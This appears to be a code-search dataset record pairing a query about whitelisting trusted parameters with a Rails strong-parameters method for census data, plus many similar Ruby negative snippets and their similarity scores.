[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def budget_params params.require(:budget).permit(:id,:reservation_request_id,:comfort_id,:check_in, :check_out,:comentario, :descuento, :total,:budget_room_details_attributes => [:id, :cantidad, :type_of_room_id, :subtotal, :_destroy], :budget_service_details_attributes => [:id, :cantidad, :service_id, :subtotal, :_destroy]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981273", "0.6783789", "0.67460483", "0.6742222", "0.67354137", "0.65934366", "0.65028495", "0.6497783", "0.64826745", "0.6479415", "0.6456823", "0.6440081", "0.63800216", "0.6376521", "0.636652", "0.6319898", "0.6300256", "0.62994003", "0.6293621", "0.6292629", "0.6291586", "0.629103", "0.6282451", "0.6243152", "0.62413", "0.6219024", "0.6213724", "0.62103724", "0.61945", "0.61786324", "0.61755824", "0.6173267", "0.6163613", "0.6153058", "0.61521065", "0.6147508", "0.61234015", "0.61168665", "0.6107466", "0.6106177", "0.6091159", "0.60817343", "0.6071238", "0.6062299", "0.6021663", "0.60182893", "0.6014239", "0.6011563", "0.60080767", "0.60080767", "0.60028875", "0.60005623", "0.59964156", "0.5993086", "0.5992319", "0.5992299", "0.59801805", "0.59676576", "0.59606016", "0.595966", "0.59591126", "0.59589803", "0.5954058", "0.5953234", "0.5944434", "0.5940526", "0.59376484", "0.59376484", "0.5935253", "0.5930846", "0.5926387", "0.59256274", "0.5917907", "0.5910841", "0.590886", "0.59086543", "0.59060425", "0.58981544", "0.5898102", "0.5896809", "0.5895416", "0.58947027", "0.58923644", "0.5887903", "0.58830196", "0.5880581", "0.5873854", "0.58697754", "0.5869004", "0.58669055", "0.5866886", "0.58664906", "0.5864619", "0.58630043", "0.5862495", "0.5861368", "0.5859712", "0.5855544", "0.58551925", "0.5851284", "0.5850602" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_sixth_economic_census1 @sixth_economic_census1 = SixthEconomicCensus1.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def sixth_economic_census1_params params.require(:sixth_economic_census1).permit(:Variable1, :Variable2, :Number_2005, :Number_2013, :Percentage_Increase) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def 